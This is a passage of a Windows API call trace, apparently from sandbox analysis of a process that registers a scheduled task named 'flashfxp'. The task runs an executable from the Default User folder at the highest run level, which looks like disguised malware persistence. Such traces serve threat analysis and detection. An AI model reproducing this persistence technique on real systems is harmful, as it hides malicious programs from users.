2 [0164.001] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.001] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0164.001] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0164.001] GetProcessHeap () returned 0x310000 [0164.001] GetProcessHeap () returned 0x310000 [0164.001] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d580) returned 1 [0164.001] GetProcessHeap () returned 0x310000 [0164.001] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d580) returned 0x10 [0164.002] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d580 | out: hHeap=0x310000) returned 1 [0164.002] GetProcessHeap () returned 0x310000 [0164.002] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d580 [0164.002] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c460, cchData=128 | out: lpLCData="0") returned 2 [0164.002] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.002] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0164.002] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0164.002] GetProcessHeap () returned 0x310000 [0164.002] GetProcessHeap () returned 0x310000 [0164.002] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5a0) returned 1 [0164.002] GetProcessHeap () returned 0x310000 [0164.002] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d5a0) returned 0x10 [0164.002] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5a0 | out: hHeap=0x310000) returned 1 [0164.002] GetProcessHeap () returned 0x310000 [0164.002] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d5a0 [0164.002] GetLocalTime (in: lpSystemTime=0x11c690 | out: lpSystemTime=0x11c690*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x17, wMilliseconds=0x75)) [0164.002] GetLocalTime (in: lpSystemTime=0x11cf48 | out: lpSystemTime=0x11cf48*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x17, wMilliseconds=0x75)) [0164.002] lstrlenW (lpString="") returned 0 [0164.002] lstrlenW (lpString="") returned 0 [0164.002] lstrlenW (lpString="") returned 0 [0164.002] lstrlenW (lpString="") returned 0 [0164.002] lstrlenW (lpString="") returned 0 [0164.002] lstrlenW (lpString="") returned 0 [0164.002] lstrlenW (lpString="") returned 0 [0164.003] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0164.027] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0164.149] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x11cd10 | out: ppv=0x11cd10*=0x2e7a50) returned 0x0 [0164.160] TaskScheduler:ITaskService:Connect (This=0x2e7a50, serverName=0x11cdf0*(varType=0x8, wReserved1=0x11, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x11cdb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x11cdd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11cd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0164.277] TaskScheduler:IUnknown:AddRef (This=0x2e7a50) returned 0x2 [0164.277] TaskScheduler:ITaskService:GetFolder (in: This=0x2e7a50, Path=0x0, ppFolder=0x11cea8 | out: ppFolder=0x11cea8*=0x2e7c10) returned 0x0 [0164.281] TaskScheduler:ITaskService:NewTask (in: This=0x2e7a50, flags=0x0, ppDefinition=0x11cea0 | out: ppDefinition=0x11cea0*=0x2e7c60) returned 0x0 [0164.281] ITaskDefinition:get_Actions (in: This=0x2e7c60, ppActions=0x11ce20 | out: ppActions=0x11ce20*=0x2e7d20) returned 0x0 [0164.281] IActionCollection:Create (in: This=0x2e7d20, Type=0, ppAction=0x11ce40 | out: ppAction=0x11ce40*=0x2e60c0) returned 0x0 [0164.282] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.282] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.282] lstrlenW (lpString=" ") returned 1 [0164.282] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0164.282] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0164.282] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.283] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0164.283] IUnknown:Release (This=0x2e60c0) returned 0x1 [0164.283] IUnknown:Release (This=0x2e7d20) returned 0x1 [0164.283] ITaskDefinition:get_Triggers (in: This=0x2e7c60, ppTriggers=0x11c9a0 | out: ppTriggers=0x11c9a0*=0x2e7e60) returned 0x0 [0164.283] ITriggerCollection:Create (in: This=0x2e7e60, Type=9, ppTrigger=0x11c998 | out: ppTrigger=0x11c998*=0x2e6130) returned 0x0 [0164.284] IUnknown:QueryInterface (in: This=0x2e6130, riid=0xff451c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x11c990 | out: ppvObject=0x11c990*=0x2e6130) returned 0x0 [0164.284] IUnknown:Release (This=0x2e6130) returned 0x2 [0164.284] _vsnwprintf (in: _Buffer=0x11c8e0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x11c8b8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0164.284] ITrigger:put_StartBoundary (This=0x2e6130, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0164.284] lstrlenW (lpString="") returned 0 [0164.284] lstrlenW (lpString="") returned 0 [0164.284] lstrlenW (lpString="") returned 0 [0164.284] lstrlenW (lpString="") returned 0 [0164.284] IUnknown:Release (This=0x2e6130) returned 0x1 [0164.284] IUnknown:Release (This=0x2e7e60) returned 0x1 [0164.285] ITaskDefinition:get_Settings (in: This=0x2e7c60, ppSettings=0x11ce40 | out: ppSettings=0x11ce40*=0x2e7ed0) returned 0x0 [0164.285] lstrlenW (lpString="") returned 0 [0164.285] IUnknown:Release (This=0x2e7ed0) returned 0x1 [0164.285] GetLocalTime (in: lpSystemTime=0x11ccf8 | out: lpSystemTime=0x11ccf8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x17, wMilliseconds=0x18e)) [0164.285] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0164.285] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0164.286] GetUserNameW (in: lpBuffer=0x11cd20, pcbBuffer=0x11cd08 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x11cd08) returned 1 [0164.286] ITaskDefinition:get_RegistrationInfo (in: This=0x2e7c60, ppRegistrationInfo=0x11ccf0 | out: ppRegistrationInfo=0x11ccf0*=0x2e7da0) returned 0x0 [0164.286] IRegistrationInfo:put_Author (This=0x2e7da0, Author="") returned 0x0 [0164.286] _vsnwprintf (in: _Buffer=0x11cd20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x11ccb8 | out: _Buffer="2022-08-06T02:19:23") returned 19 [0164.287] IRegistrationInfo:put_Date (This=0x2e7da0, Date="") returned 0x0 [0164.287] IUnknown:Release (This=0x2e7da0) returned 0x1 [0164.287] malloc (_Size=0x18) returned 0x2e7f80 [0164.287] free (_Block=0x2e7f80) [0164.287] lstrlenW (lpString="") returned 0 [0164.287] ITaskDefinition:get_Principal (in: This=0x2e7c60, ppPrincipal=0x11cf10 | out: ppPrincipal=0x11cf10*=0x2e6010) returned 0x0 [0164.287] IPrincipal:put_RunLevel (This=0x2e6010, RunLevel=1) returned 0x0 [0164.287] IUnknown:Release (This=0x2e6010) returned 0x1 [0164.287] malloc (_Size=0x18) returned 0x2e7f80 [0164.287] ITaskFolder:RegisterTaskDefinition (in: This=0x2e7c10, Path="flashfxp", pDefinition=0x2e7c60, flags=6, UserId=0x11cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11cfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11eea0, varVal2=0xfe), LogonType=3, sddl=0x11cfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x11ceb0 | out: ppTask=0x11ceb0*=0x2e6380) returned 0x0 [0164.758] free (_Block=0x2e7f80) [0164.758] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.758] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0164.758] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0164.758] GetProcessHeap () returned 0x310000 [0164.758] GetProcessHeap () returned 0x310000 [0164.758] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5c0) returned 1 [0164.758] GetProcessHeap () returned 0x310000 [0164.758] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d5c0) returned 0xe [0164.758] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d5c0 | out: hHeap=0x310000) returned 1 [0164.758] GetProcessHeap () returned 0x310000 [0164.759] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x82) returned 0x349b00 [0164.759] _vsnwprintf (in: _Buffer=0x11d5f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x11ce58 | out: _Buffer="SUCCESS: The scheduled task \"flashfxp\" has successfully been created.\n") returned 70 [0164.759] _fileno (_File=0x7fefed02ab0) returned -2 [0164.759] _errno () returned 0x2e4bb0 [0164.759] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0164.759] SetLastError (dwErrCode=0x6) [0164.759] lstrlenW (lpString="SUCCESS: The scheduled task \"flashfxp\" has successfully been created.\n") returned 70 [0164.759] GetConsoleOutputCP () returned 0x0 [0164.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"flashfxp\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0164.760] GetConsoleOutputCP () returned 0x0 [0164.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"flashfxp\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"flashfxp\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0164.760] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0164.760] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0164.760] IUnknown:Release (This=0x2e6380) returned 0x0 [0164.760] TaskScheduler:IUnknown:Release (This=0x2e7c60) returned 0x0 [0164.760] TaskScheduler:IUnknown:Release (This=0x2e7c10) returned 0x0 [0164.760] TaskScheduler:IUnknown:Release (This=0x2e7a50) returned 0x1 [0164.760] lstrlenW (lpString="") returned 0 [0164.760] GetProcessHeap () returned 0x310000 [0164.760] GetProcessHeap () returned 0x310000 [0164.760] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2b0) returned 1 [0164.760] GetProcessHeap () returned 0x310000 [0164.760] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c2b0) returned 0x1fc [0164.761] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2b0 | out: hHeap=0x310000) returned 1 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4e0) returned 1 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d4e0) returned 0x16 [0164.761] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4e0 | out: hHeap=0x310000) returned 1 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d560) returned 1 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d560) returned 0x18 [0164.761] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d560 | out: hHeap=0x310000) returned 1 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd50) returned 1 [0164.761] GetProcessHeap () returned 0x310000 [0164.761] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd50) returned 0x20 [0164.762] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd50 | out: hHeap=0x310000) returned 1 [0164.762] GetProcessHeap () returned 0x310000 [0164.762] GetProcessHeap () returned 0x310000 [0164.762] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bff0) returned 1 [0164.762] GetProcessHeap () returned 0x310000 [0164.762] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bff0) returned 0xa0 [0164.762] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bff0 | out: hHeap=0x310000) returned 1 [0164.762] GetProcessHeap () returned 0x310000 [0164.762] GetProcessHeap () returned 0x310000 [0164.762] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba70) returned 1 [0164.762] GetProcessHeap () returned 0x310000 [0164.762] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ba70) returned 0x18 [0164.762] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba70 | out: hHeap=0x310000) returned 1 [0164.762] GetProcessHeap () returned 0x310000 [0164.762] GetProcessHeap () returned 0x310000 [0164.763] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cb10) returned 1 [0164.763] GetProcessHeap () returned 0x310000 [0164.763] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cb10) returned 0x20 [0164.763] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cb10 | out: hHeap=0x310000) returned 1 [0164.763] GetProcessHeap () returned 0x310000 [0164.763] GetProcessHeap () returned 0x310000 [0164.763] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c250) returned 1 [0164.763] GetProcessHeap () returned 0x310000 [0164.763] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c250) returned 0x4a [0164.763] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c250 | out: hHeap=0x310000) returned 1 [0164.763] GetProcessHeap () returned 0x310000 [0164.763] GetProcessHeap () returned 0x310000 [0164.763] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4c0) returned 1 [0164.764] GetProcessHeap () returned 0x310000 [0164.764] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d4c0) returned 0x18 [0164.764] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4c0 | out: hHeap=0x310000) returned 1 [0164.764] GetProcessHeap () returned 0x310000 [0164.764] GetProcessHeap () returned 0x310000 [0164.764] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cae0) returned 1 [0164.764] GetProcessHeap () returned 0x310000 [0164.764] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cae0) returned 0x20 [0164.764] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cae0 | out: hHeap=0x310000) returned 1 [0164.764] GetProcessHeap () returned 0x310000 [0164.764] GetProcessHeap () returned 0x310000 [0164.764] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32dcd0) returned 1 [0164.764] GetProcessHeap () returned 0x310000 [0164.764] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32dcd0) returned 0x4c [0164.764] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32dcd0 | out: hHeap=0x310000) returned 1 [0164.764] GetProcessHeap () returned 0x310000 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d540) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d540) returned 0x18 [0164.765] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d540 | out: hHeap=0x310000) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cab0) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cab0) returned 0x20 [0164.765] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cab0 | out: hHeap=0x310000) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d520) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d520) returned 0xe [0164.765] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d520 | out: hHeap=0x310000) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d500) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d500) returned 0x18 [0164.765] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d500 | out: hHeap=0x310000) returned 1 [0164.765] GetProcessHeap () returned 0x310000 [0164.765] GetProcessHeap () returned 0x310000 [0164.766] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325d50) returned 1 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325d50) returned 0x20 [0164.766] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325d50 | out: hHeap=0x310000) returned 1 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bbf0) returned 1 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bbf0) returned 0x208 [0164.766] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bbf0 | out: hHeap=0x310000) returned 1 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba50) returned 1 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ba50) returned 0x18 [0164.766] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba50 | out: hHeap=0x310000) returned 1 [0164.766] GetProcessHeap () returned 0x310000 [0164.766] GetProcessHeap () returned 0x310000 [0164.767] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c60) returned 1 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c60) returned 0x20 [0164.767] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c60 | out: hHeap=0x310000) returned 1 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d280) returned 1 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d280) returned 0x200 [0164.767] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d280 | out: hHeap=0x310000) returned 1 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba90) returned 1 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ba90) returned 0x18 [0164.767] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ba90 | out: hHeap=0x310000) returned 1 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] GetProcessHeap () returned 0x310000 [0164.767] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325bd0) returned 1 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325bd0) returned 0x20 [0164.768] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325bd0 | out: hHeap=0x310000) returned 1 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c200) returned 1 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c200) returned 0x14 [0164.768] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c200 | out: hHeap=0x310000) returned 1 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1e0) returned 1 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c1e0) returned 0x18 [0164.768] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1e0 | out: hHeap=0x310000) returned 1 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325b10) returned 1 [0164.768] GetProcessHeap () returned 0x310000 [0164.768] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b10) returned 0x20 [0164.769] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b10 | out: hHeap=0x310000) returned 1 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c220) returned 1 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c220) returned 0x16 [0164.769] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c220 | out: hHeap=0x310000) returned 1 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1a0) returned 1 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c1a0) returned 0x18 [0164.769] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1a0 | out: hHeap=0x310000) returned 1 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] GetProcessHeap () returned 0x310000 [0164.769] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ae0) returned 1 [0164.769] GetProcessHeap () returned 0x310000 [0164.770] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ae0) returned 0x20 [0164.770] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ae0 | out: hHeap=0x310000) returned 1 [0164.770] GetProcessHeap () returned 0x310000 [0164.770] GetProcessHeap () returned 0x310000 [0164.770] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32b9d0) returned 1 [0164.770] GetProcessHeap () returned 0x310000 [0164.770] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32b9d0) returned 0x2 [0164.770] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32b9d0 | out: hHeap=0x310000) returned 1 [0164.770] GetProcessHeap () returned 0x310000 [0164.770] GetProcessHeap () returned 0x310000 [0164.770] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325930) returned 1 [0164.770] GetProcessHeap () returned 0x310000 [0164.770] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325930) returned 0x20 [0164.771] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325930 | out: 